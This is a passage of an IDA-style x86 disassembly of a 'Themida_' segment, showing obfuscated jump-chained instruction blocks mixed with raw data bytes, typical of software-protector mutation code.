		dd 58E90000h, 0FF000047h, 83592434h, 36E904C4h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55746F:				; CODE XREF: Themida_:005568DEj
		neg	eax
		shr	eax, 4
		sub	eax, 0FF58DB7h
		add	ebp, eax
		pop	eax
		add	ebp, 4
		jmp	loc_55B8F1
; ---------------------------------------------------------------------------
		dd 6907F381h, 89512038h, 4C181E1h, 83000000h, 0C8704E9h
		dd 34895C24h, 8E95224h,	59000010h, 0DF19ED81h, 0EF091187h
		dd 8B2434FFh, 0C481242Ch, 4, 0FFBE26E9h, 0E9EA87FFh, 2AAh
		dd 7E41CF81h, 14E907A9h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5574CF:				; CODE XREF: Themida_:0055A7A6j
		mov	ebp, 58532A2Ah
		and	ebp, 511A63CAh
		neg	ebp
		jmp	loc_55BBD7
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 3
		dd 88E38853h, 944AE9DAh, 4BEFFFFh, 1000000h, 0B8505EF1h
		dd 4, 3358C101h, 0C31240Ch, 240C3324h, 8124248Bh, 1E9h
		dd 0CBC18100h, 0E935EBA2h, 551h, 3E53E95Ch, 835B0000h
		dd 89E904ECh, 8B000020h, 0EDE92424h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557533:				; CODE XREF: Themida_:00557657j
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_559C76
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 81h
		dd 6618FFEEh, 0E1C4E902h, 48BFFFFh, 4C48324h, 0FFB97BE9h
		dd 0E9C589FFh, 0FFFF961Bh
; ---------------------------------------------------------------------------


loc_55755C:				; CODE XREF: Themida_:00555B28j
		inc	ebx
		inc	ebx
		xor	ebx, 52A60CBh
		add	ecx, ebx
		jmp	loc_5572BB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 240C8B00h, 1BD9E9h, 24048B00h,	0FFFAC3E9h, 66CE88FFh
		dd 0E9536659h, 0FFFFFDB7h
; ---------------------------------------------------------------------------


loc_55758C:				; CODE XREF: Themida_:00556625j
		sub	ebp, ecx
		push	ebx
		mov	ebx, 5D8003E4h
		push	ecx
		mov	ecx, 17B81BFFh
		dec	ecx
		add	ecx, 46ED1279h
		sub	ebp, ecx
		pop	ecx
		sub	ebp, ebx
		add	ebp, 5EA52E77h
		jmp	loc_551AB5
; ---------------------------------------------------------------------------
		db 29h,	0F2h, 81h
		dd 436138EAh, 14875E44h, 34895C24h, 4BE24h, 0F7010000h
		dd 0E924348Bh, 0FFFFD216h, 0E92434FFh, 15C1h, 0BBE9B434h
		dd 54000000h, 0E924048Fh, 0FFFF91E6h, 0D028A42Ch, 452CA404h
		dd 5A66BE2Ch, 687168h, 240C8900h, 0E955B753h, 0FFFFEE9Eh
		dd 3AC580h, 835959E8h, 0C8904ECh, 0A513E924h, 0BD55FFFFh
		dd 310D2332h, 8104EDC1h, 5A91CEEDh, 0E9E989BAh,	45A2h
; ---------------------------------------------------------------------------


loc_55762C:				; CODE XREF: Themida_:00554C5Bj
		mov	edi, esp
		add	edi, 4
		jmp	loc_5564EB
; ---------------------------------------------------------------------------
		db 68h,	0B0h, 13h
		dd 0C890000h, 0A938E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557646:				; CODE XREF: Themida_:0055B813j
		add	edi, esi
		pop	esi
		inc	edi
		push	5486h
		mov	[esp], eax
		mov	eax, 76BE7A7Eh
		jmp	loc_557533
; ---------------------------------------------------------------------------
		dd 7AE95A58h, 5BFFFF85h, 206EB850h, 0B2E90FEAh
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55766F:				; CODE XREF: Themida_:005515CCj
		mov	ah, cl
		mov	dl, ah
		pop	eax
		mov	[edi+eax*4+1], dl
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5593BE
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 0E9h
		dd 1A4h, 8883E950h, 0C220FFFFh,	0CDC28058h, 0E953DAF6h
		dd 1434h, 38FC681h, 0C601566Dh,	38FEE81h, 0EE81566Dh, 6B3C2FE2h
		dd 461FE952h, 3C8B0000h, 4C48124h, 0E9000000h, 2E41h, 24048B66h
		dd 62568h, 24348900h, 9AE1E954h, 0F901FFFFh, 0FFE02DE9h
		dd 4FF66FFh, 0F5E99C24h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5576F3:				; CODE XREF: Themida_:00556061j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	9BDh
		mov	[esp], ebx
		push	451Eh
		mov	[esp], ecx
		jmp	loc_558892
; ---------------------------------------------------------------------------


loc_55770D:				; CODE XREF: Themida_:00553763j
		neg	ebx
		add	ebx, 57C64FE0h
		jmp	loc_554BE4
; ---------------------------------------------------------------------------


loc_55771A:				; CODE XREF: Themida_:00557F03j
		push	ebx
		jmp	loc_559559
; ---------------------------------------------------------------------------
		dd 0AB0F665Ch, 0E99C2404h, 0FFFF81BCh, 8852585Ah, 871488EAh
		dd 0A4E9595Ah, 56FFFFC2h, 8DB95155h, 890FFB25h,	0B79CE9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55774A:				; CODE XREF: Themida_:0054FE0Ej
		pop	esp
		push	ebp
		mov	ebp, 79E915FDh
		and	ebp, 4EC550E9h
		sub	ebp, 49A436DFh
		shr	ebp, 4
		sub	ebp, 5BD5D60h
		shr	ebp, 8
		jmp	loc_54FB48
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0A229E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557776:				; CODE XREF: Themida_:0054FF18j
		mov	dl, bl
		pop	ebx
		pop	eax
		jmp	loc_557811
; ---------------------------------------------------------------------------
		db 31h
		dd 0E9515EF2h, 0FFFF8DDCh, 34FFC100h, 24048B24h, 4C481h
		dd 0C4830000h, 66C83004h, 83240C8Bh, 66802C4h, 0E900000Bh
		dd 0FFFF8E02h, 0FF8137E9h, 0C4815BFFh, 4, 4C381h, 0C3830000h
		dd 241C3304h, 0FFCB9BE9h, 243C89FFh, 0CF85E95Eh, 0E929FFFFh
		dd 202A6855h, 0C890000h, 0BC3BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5577E2:				; CODE XREF: Themida_:00556D05j
		mov	eax, 12F54814h
		jmp	loc_5558D3
; ---------------------------------------------------------------------------


loc_5577EC:				; CODE XREF: Themida_:0055A52Fj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_555E0E
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4BE56h, 0F3010000h, 241C335Eh, 0BEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_557811:				; CODE XREF: Themida_:0055777Aj
		not	dl
		jmp	loc_55B8BC
; ---------------------------------------------------------------------------
		dd 0C39DB951h, 0CB01E655h, 3101E9h, 45BA5200h, 817D3441h
		dd 846E77EAh, 0E9E2D126h, 0FFFF9F6Bh, 8904EC83h, 0A8B82404h
		dd 2D36A25Ah, 11007618h, 2F508535h, 35D8F752h, 88714BEFh
		dd 48BC501h, 0EA3BE924h, 0F101FFFFh, 2C56E981h,	19E93ED4h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55786B:				; CODE XREF: Themida_:00553FE2j
		sub	ebx, 97937213h
		add	ebp, 49B92F11h
		add	ebp, ebx
		sub	ebp, 49B92F11h
		pop	ebx
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5515AF
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 81000000h, 0D42C56C1h, 0FFBCE93Eh, 8F5CFFFFh, 3DE92404h
		dd 2DFFFF80h, 377E047Bh, 15EC6435h, 58C5317Eh, 2EC22D5Bh
		dd 0A52D4ED3h, 149165Ah, 5AA505E8h, 0C2054916h,	5D4ED32Eh
		dd 205h, 24048700h, 0E924248Bh,	0FFFFA30Ah, 2838B652h
		dd 2434FFF0h, 0FFA37BE9h, 0FAC380FFh, 0E92434FFh, 0FFFFE3F7h
		dd 0E907EAC1h, 0FFFFDD7Dh, 8992E956h, 0C681FFFFh, 20706790h
		dd 4C6815Bh, 87000000h,	0E95C2434h, 0FFFFD401h,	24048F5Eh
		dd 2404D25Ch, 7FBEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55792A:				; CODE XREF: Themida_:005514DCj
		or	ebx, ebx
		jnz	loc_55285A
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_54FB72
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 41EFBE56h, 0EEC10D72h, 14E68107h, 0C17D030Eh, 0EEC104E6h
		dd 0E9524E08h, 1A32h, 501BB850h, 0D8F76826h, 5339AC05h
		dd 1A0AE950h, 0ACB80000h, 2D2E5A36h, 2A9726ACh,	8904EC83h
		dd 22BB241Ch, 0E9430B03h, 15C6h
; ---------------------------------------------------------------------------


loc_557990:				; CODE XREF: Themida_:0055A921j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_556735
; ---------------------------------------------------------------------------
		dw 0D268h
		dd 8900002Fh, 3FB82404h, 0F767826Fh, 2DD0F7D8h,	1EFBC440h
		dd 8958C131h, 0C58159CDh, 54D608CBh, 5752D5F7h,	0FFFFFFBFh
		dd 0C8EEE9FFh, 0FD89FFFFh, 0D83685Fh, 0C890000h, 5A1B924h
		dd 0CD291EDEh, 81240C8Bh, 4C4h,	72F58100h, 12EB674h, 4335DE8h
		dd 24043124h, 5C240433h, 0FFC118E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557A09:				; CODE XREF: Themida_:0054F9D8j
		mov	ebx, 27435DA8h
		dec	ebx
		shl	ebx, 2
		shr	ebx, 2
		add	ebx, 5E2B4670h
		jmp	loc_551935
; ---------------------------------------------------------------------------


loc_557A20:				; CODE XREF: Themida_:0055A6B9j
		push	edi
		jmp	loc_555884
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0F4682404h, 8900006Fh, 0CE9243Ch
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557A37:				; CODE XREF: Themida_:00554FE4j
		pop	esp


loc_557A38:				; CODE XREF: Themida_:0054FC1Aj
		push	2C83h
		mov	[esp], edi
		push	434Fh
		jmp	loc_55719B
; ---------------------------------------------------------------------------
aIxsE		db ':E',0
		dd 2DD82900h, 18FC34C5h, 45A1BF57h, 0F8016659h,	0DFBA525Fh
		dd 423CC846h, 0FFE340E9h, 8BCA89FFh, 0DE9240Ch,	66FFFF98h
		dd 6824048Bh, 3A03h, 7C5E9h, 80A8B000h,	0DE986C1h, 0BBFFFFCBh
		dd 1D223844h, 25B2CB81h, 8E925EDh, 42FFFF8Ah, 5A53EA81h
		dd 0D2F76ECCh, 0C035EA81h, 0D789EBC8h, 5FF8295Ah, 14ECE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557ABA:				; CODE XREF: Themida_:0055BFF1j
		mov	esi, 6E3C2AB8h
		jmp	loc_55634B
; ---------------------------------------------------------------------------


loc_557AC4:				; CODE XREF: Themida_:0055296Aj
		sub	dword ptr [esp+8], 1D8F70CAh
		sub	[esp+8], edx
		jmp	loc_5549BB
; ---------------------------------------------------------------------------
		db 0BFh, 6Ah, 69h
		dd 26BA136Fh, 2938C890h, 0B8505FFAh, 270C5F74h,	1C9E9h
		dd 24048B00h, 4C481h, 814E0000h, 4A06BBEEh, 5EF20122h
		dd 21D9E9h, 0C8B6600h, 0AA47E924h, 0C281FFFFh, 4, 8704EA83h
		dd 248B2414h, 242C8924h, 0E950E589h, 0FFFFB232h, 1F19ACBBh
		dd 0EC814B16h, 4, 0FFEE59E9h, 240C89FFh, 52D48850h, 0D588E288h
		dd 0FFFBE3E9h, 6CFBFFFh, 0FE2955C0h, 3059E9h, 89525F00h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 4C7815Ch, 83000000h
		dd 2C8904ECh, 66EBD24h,	0CCE91C14h, 3300001Bh, 248B2414h
		dd 0E9F9F724h, 4424h
; ---------------------------------------------------------------------------


loc_557B8C:				; CODE XREF: Themida_:00557EAFj
		push	42B3h
		mov	[esp], edx
		push	226h
		mov	[esp], edi
		mov	edi, 69B52996h
		mov	edx, edi
		pop	edi
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		neg	ebp
		xchg	ebp, edx
		xor	edx, 964AC66Ah
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_551644
; ---------------------------------------------------------------------------


loc_557BC7:				; CODE XREF: Themida_:005502EFj
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5523DD
; ---------------------------------------------------------------------------


loc_557BDB:				; CODE XREF: Themida_:00554DE9j
		add	eax, 456C5717h
		sub	eax, 3950091Fh
		mov	edx, eax
		pop	eax
		sub	edx, 523F4576h
		jmp	loc_551120
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9E92434h, 88FFFFBDh, 0D0005BDAh, 148B5A66h, 4C48124h
		dd 80000000h, 0D687DEBh, 8900000Bh, 0D3B62414h,	6866D6F6h
		dd 896615C8h, 85B02404h, 5866C608h, 0F3885366h,	0DE88D3F6h
		dd 0F6805B66h, 0FFF328B7h, 815A2434h, 4C4h, 0E9C32800h
		dd 0FFFF8CD6h, 7A685152h, 0FF1DC663h, 68592434h, 49CAh
		dd 89240C89h, 8BE956E1h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C63:				; CODE XREF: Themida_:005507AEj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebp
		push	esi
		jmp	loc_553745
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8957240Ch, 4C781E7h,	83000000h, 0D5E904C7h, 5EFFFFA2h
		dd 5C241C87h, 240C8966h, 0E904EC83h, 1A05h, 0E9241487h
		dd 0FFFFF874h, 1E57F681h, 0F5016D3Dh, 0E31DE95Eh, 0C729FFFFh
		dd 8324048Bh, 0D72904C4h, 5F74C781h, 148B270Ch,	4C48124h
		dd 0FD000000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_551907
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 0F6B15100h,	0FFB8BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557CF9:				; CODE XREF: Themida_:00557E63j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		jmp	loc_5527AC
; ---------------------------------------------------------------------------
		dw 1668h
		dd 8B53AA03h, 0C481242Ch, 4, 0C581DDF7h, 53AA031Ah, 0E95DEE89h
		dd 2AF6h, 33241C31h, 9E9241Ch, 5F00001Fh, 0B3AAE955h, 2C81FFFFh
		dd 0A159F124h, 24048B20h, 0E904C483h, 2EFAh, 83240C8Bh
		dd 0C18104C4h, 7E1D459Bh, 0E981C101h, 7E1D459Bh, 2BE5658h
		dd 1000000h, 0C875EF1h,	24248B24h, 9C2404FEh, 0FF7B6BE9h
		dd 242C8BFFh, 63E95455h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D87:				; CODE XREF: Themida_:00554FB0j
		add	eax, edi
		add	eax, 6E5F1941h
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_553855
; ---------------------------------------------------------------------------


loc_557DA3:				; CODE XREF: Themida_:005588DBj
		xor	[esp], ebx
		pop	edi
		sub	esp, 4
		jmp	loc_55935F
; ---------------------------------------------------------------------------
		align 10h
		dd 0E38953D8h, 4C381h, 0BE560000h, 3D8B3B6Eh, 2CF9E9h
		dd 0E9D9F700h, 0FFFFDAA4h, 24048B66h, 81E78957h, 4C7h
		dd 0CC685200h, 0E917040Eh, 0FFFFA3B1h
; ---------------------------------------------------------------------------


loc_557DE4:				; CODE XREF: Themida_:00550B18j
		mov	[esp], edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 1AF6795Bh
		sub	eax, 1AF67957h
		push	eax
		mov	eax, 62FD1F5Dh
		jmp	loc_5588AD
; ---------------------------------------------------------------------------


loc_557DFF:				; CODE XREF: Themida_:00556D45j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55BAA6
; ---------------------------------------------------------------------------
		dd 0BB53E689h, 4, 0FFD253E9h, 1B0A68FFh, 0C890000h, 0DF19E924h
		dd 0E689FFFFh, 73E268h,	24048900h, 1E2ABA52h, 0F28142A5h
		dd 53DA6F41h, 3009C281h, 0EA810B2Ch, 0AD1B795Fh, 0F80AE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E52:				; CODE XREF: Themida_:0055B4A2j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_557CF9
; ---------------------------------------------------------------------------
		dd 875AD601h, 0E95C2434h, 0FFFF7A74h, 52E8E981h, 0F3E90BF5h
		dd 0C1FFFFECh, 0E0C105E8h, 0BDAE908h, 0C3810000h, 4, 1E22E9h
		db 0
; ---------------------------------------------------------------------------


loc_557E95:				; CODE XREF: Themida_:00553A3Bj
		mov	[esp], edi
		push	61C4040h
		mov	edi, [esp]
		add	esp, 4
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_557B8C
; ---------------------------------------------------------------------------
		dd 1FE9E830h, 8100002Bh, 4C4h, 81C32900h, 4ECh,	242C8900h
		dd 0FFBA5CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557ED1:				; CODE XREF: Themida_:0055205Fj
		pop	ebx
		add	al, 61h
		push	ebx
		mov	bl, 0D4h
		neg	bl
		dec	bl
		dec	bl
		dec	bl
		xchg	cl, bl
		neg	cl
		xchg	cl, bl
		add	bl, 3Ah
		sub	al, 0DDh
		sub	al, bl
		add	al, 0DDh
		pop	ebx
		sub	al, 0C2h
		sub	al, bl
		add	al, 0C2h
		add	al, 11h
		sub	al, 61h
		add	al, 0D2h
		push	6149h
		mov	[esp], edx
		jmp	loc_55771A
; ---------------------------------------------------------------------------


loc_557F08:				; CODE XREF: Themida_:0055070Fj
		inc	ebx
		sub	ebx, 0AC17E16h
		sub	ebx, 0D385DE28h
		sub	esp, 4
		mov	[esp], edi
		push	63F63BDEh
		pop	edi
		push	ecx
		mov	ecx, 0FFFFFFFFh
		jmp	loc_55349E
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481240Ch, 4, 0FFA14CE9h, 1ED81FFh, 0E9000000h
		dd 1825h
; ---------------------------------------------------------------------------


loc_557F48:				; CODE XREF: Themida_:005523F5j
		push	edx
		jmp	loc_55420D
; ---------------------------------------------------------------------------
		dw 8F59h
		dd 895C2404h, 8DE92404h, 5BFFFF79h, 0C205E951h,	81E9FFFFh
		dd 89FFFF79h, 2E9241Ch
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557F6F:				; CODE XREF: Themida_:005590D5j
		mov	ecx, 3CF332E8h
		push	ebp
		mov	ebp, ecx
		mov	edi, ebp
		pop	ebp
		pop	ecx
		push	231Ch
		mov	[esp], edi
		jmp	loc_555E01
; ---------------------------------------------------------------------------
		dd 176D252Dh, 11E12D61h, 0D00110A9h, 0A911E105h, 25BE5610h
		dd 161176Dh, 17E95EF0h,	54FFFFBAh, 4C7815Fh, 52000000h
		dd 4BAh, 5AD72900h, 2474FF57h, 0B23BE904h, 0D1F7FFFFh
		dd 0F381CB87h, 8489BBC1h, 0BC34DB2Dh, 75A0052Fh, 0B6E90E8Bh
		dd 5200000Fh, 4BAh, 0B45E900h, 0E8D10000h, 2DFFC083h, 0BE54F09Ch
		dd 0FFD7CFE9h, 4EC83FFh, 0FFA50DE9h, 0E9D831FFh, 0FFFFFC44h
		dd 0E006C581h, 0C681C00Ah, 13861736h, 0EE81EE01h, 13861736h
		dd 81242C8Bh, 4C4h, 2C68100h, 0E9000000h, 0FFFF8209h
; ---------------------------------------------------------------------------


loc_55802C:				; CODE XREF: Themida_:00552A2Dj
		shr	edi, 8
		and	edi, 0F6F6684h
		add	edi, 3EC07D0Fh
		push	edx
		mov	edx, 5FC0C74Dh
		xor	edi, edx
		pop	edx
		or	ebp, edi
		pop	edi
		jmp	loc_5585DA
; ---------------------------------------------------------------------------
		dd 5AD68959h, 0DEF7E6D1h, 0DEF7D6F7h, 0ED2E9h, 6FF68100h
		dd 31728542h, 2BE95EF3h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55806B:				; CODE XREF: Themida_:005516A6j
		push	edx
		push	ecx
		jmp	loc_552336
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 8B6BE924h, 0E3C1FFFFh, 0E94B4306h, 0FFFFCA10h, 8324348Bh
		dd 0DE0104C4h, 166AE9h,	240C8900h, 485D02B9h, 81E9D126h
		dd 0B33D96C1h, 0EFBB5348h, 315C4947h, 0B8505BD9h, 750827D6h
		dd 975B951h, 0B4E9C101h, 68000026h, 6D320BF8h, 0FF93ACE9h
		dd 5FF801FFh, 22Dh, 24048700h, 6624248Bh, 0E9240489h, 0FFFF780Ch
		dd 15FFA29h, 0C5815AD5h, 4, 5C242C87h, 3113E9h,	24248B00h
		dd 0F3B68h, 24048900h, 0FF77E7E9h, 0BE56ADFFh, 7BE65E0Eh
		dd 55EF029h, 1B6A15DDh,	757C68h, 242C8900h, 0FA338DBDh
		dd 1BE58105h, 0F74BAF71h, 6DED81D5h, 0E9339867h, 27Bh
		dd 2C5815Ch, 33000000h,	9CE9242Ch, 0FFFFFFC4h, 0E9582434h
		dd 2EA9h
; ---------------------------------------------------------------------------


loc_558148:				; CODE XREF: Themida_:00551504j
		push	eax
		mov	al, 1Ch
		and	al, 5
		and	al, 0F9h
		push	cx
		mov	ch, 0E5h
		sub	al, ch
		pop	cx
		shr	al, 3
		add	al, 75h
		sub	al, 27h
		jmp	loc_5502FF
; ---------------------------------------------------------------------------
		db 81h
		dd 0D21FC4F7h, 0E9FA0173h, 0FFFFACFBh, 0D8E9F587h, 81FFFF9Fh
		dd 174A9BC2h, 43C2813Ah, 1354B47h, 43EA81FAh, 0E9354B47h
		dd 0FFFF8F16h, 0EB4AE9BBh, 0D9CB810Bh, 0C152B115h, 0E38102E3h
		dd 7F236F54h, 1959EB81h, 0C3812D56h, 56751DA6h,	8C73C381h
		dd 0DE0167BFh, 2B9515Bh, 81000000h, 2A742EEEh, 81CE013Eh
		dd 2A742EC6h, 0F4E9593Eh, 4FFFFFC6h, 498E9h, 16F18100h
		dd 0E9280E22h, 3279h
; ---------------------------------------------------------------------------


loc_5581E4:				; CODE XREF: Themida_:0055899Ej
		push	ebp
		push	esi
		mov	esi, 57EA4F35h
		jmp	loc_554C76
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 31D1E900h, 59660000h, 0FFBC4BE9h, 2DD001FFh
		dd 7FE310C2h, 2404335Ah, 33240431h, 248B2404h, 2434FF24h
		dd 19DDE958h, 0EBC00000h, 80CBFE08h, 0B450CDF3h, 0A047E9C9h
		dd 0C681FFFFh, 9BACE3F3h, 685EF309h, 0
		dd 5B241C29h, 0C3E5E950h, 1C89FFFFh, 337CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558252:				; CODE XREF: Themida_:00552A3Aj
		push	eax
		push	33633FD0h
		pop	eax
		shl	eax, 3
		sub	eax, 20E4B276h
		mov	ebp, eax
		pop	eax
		jmp	loc_54FAFD
; ---------------------------------------------------------------------------
		db 28h,	0E8h, 66h
		dd 0E925B252h, 0FFFF8161h, 0E9D0F795h, 44Bh, 6C4BEB81h
		dd 875A2693h, 665C241Ch, 0E924048Bh, 0FFFF987Eh
; ---------------------------------------------------------------------------


loc_558290:				; CODE XREF: Themida_:00552D99j
		mov	[esp], ecx
		push	edx
		jmp	loc_55B522
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 1B086452h, 0FFA1C0E9h, 4E6866FFh, 1C89665Ch,	29B55124h
		dd 5E5368h, 24048900h, 5352E888h, 0DE88C388h, 83241C8Bh
		dd 0F78804C4h, 24048B5Ah, 5904C483h, 0FFDF59E9h, 0E38953FFh
		dd 4C381h, 2AE90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5582E3:				; CODE XREF: Themida_:00557408j
		push	35E0h
		mov	[esp], ecx
		mov	ecx, 702D7199h
		jmp	loc_55661F
; ---------------------------------------------------------------------------
		db 0B4h, 4Fh, 0E9h
		dd 0FFFF9C03h
; ---------------------------------------------------------------------------


loc_5582FC:				; CODE XREF: Themida_:0055BD21j
		pop	esi
		add	ebx, 0A816E667h
		add	edx, ebx
		pop	ebx
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	16C8h
		mov	[esp], ebx
		push	7B23h
		mov	[esp], edi
		jmp	loc_553D1F
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C48104h, 55000000h,	6951F5BDh, 0E9DDF71Bh, 202Fh, 7C3B68h
		dd 24348900h, 5C88BD55h, 6AE92F13h, 33FFFFCCh, 0D9E9241Ch
		dd 89FFFFF9h, 0CFF243Ch, 241C3124h, 31241C33h, 0D3F7241Ch
		dd 0FFC5A5E9h, 0D1295EFFh, 0F2C7E95Ah, 5350FFFFh, 1A4BA52h
		dd 32E96E52h, 66000033h, 0E924248Bh, 0FFFF7560h
; ---------------------------------------------------------------------------


loc_558388:				; CODE XREF: Themida_:00559A16j
		add	esp, 4
		add	esi, 4
		jmp	loc_552641
; ---------------------------------------------------------------------------
		dw 9B0h
		dd 15E9C600h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55839F:				; CODE XREF: Themida_:0055402Aj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_55B18F
; ---------------------------------------------------------------------------
		db 81h
		dd 0FBD01DC5h, 609F056Fh, 0E8297D54h, 54609F2Dh, 0EB72E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5583C2:				; CODE XREF: Themida_:00556282j
		pop	ebx
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebx
		mov	ebx, 3AD119EDh
		or	ebx, 4ADD4665h
		jmp	loc_55A141
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 89000000h,	0E6892434h, 1F3268h, 12B6E900h
		dd 1C310000h, 241C3324h, 6824248Bh, 0DF9h, 0E9243489h
		dd 2482h, 8B242C33h, 4312424h, 74C6E924h, 5550FFFFh, 226CAEBDh
		dd 8CD8139h, 8139C619h,	745E10F5h, 0BEE5815Bh, 0E9671D4Fh
		dd 0FFFFCF2Ch
; ---------------------------------------------------------------------------


loc_558440:				; CODE XREF: Themida_:0055ACBAj
		add	esp, 4
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_54FE55
; ---------------------------------------------------------------------------
		db 81h
		dd 59F12404h, 42920A1h,	0F8C8E924h, 1C89FFFFh, 7C1ABB24h
		dd 0FB875A7Fh, 0FB87D7F7h, 8D29C381h, 0E95577E4h, 0FFFFA5AFh
		dd 80E95855h, 8900003Ah, 4BE2434h, 0E9000000h, 0FFFFE33Fh
		dd 15E95266h, 0BAFFFF7Ah, 8D488115h, 67E9D689h,	8FFFFCAh
		dd 0C98058C1h, 0BBF7E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5584C2:				; CODE XREF: Themida_:0055B75Bj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 21826744h
		push	ebp
		mov	ebp, 2EEF1C01h
		sub	ebp, 1084525Ch
		jmp	loc_552F4A
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 31C14B4Ch, 0B4B8C181h, 0CD01CE3Eh, 242C8759h, 0D22EE95Ch
		dd 148BFFFFh, 4C48124h,	56000000h, 5911B2BEh, 2F5F687Bh
		dd 14890000h, 41B1BA24h, 0D6017E10h, 4EC815Ah, 89000000h
		dd 0EC83242Ch, 243C8904h, 674B79BFh, 5FFD89F4h,	94E9EE31h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558533:				; CODE XREF: Themida_:00556EA9j
		or	eax, eax
		jz	loc_550B03
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, 430455Ah
		sub	dword ptr [esp+4], 5DB261C1h
		jmp	loc_552955
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0FAh
		dd 473CE55Ah, 0E48DEF81h, 0FA31F1A5h, 0BCC2815Fh, 8155035Ah
		dd 0DF28EEEAh, 81FA012Ah, 0DF28EEC2h, 0BCEA812Ah, 8B55035Ah
		dd 9AE95A02h, 0FFFFFF8h, 9C2404A3h, 0FF735BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55858D:				; CODE XREF: Themida_:0055129Ej
		mov	edx, 3AA4093Ah
		mov	ecx, 1485010Ch
		jmp	loc_553A52
; ---------------------------------------------------------------------------
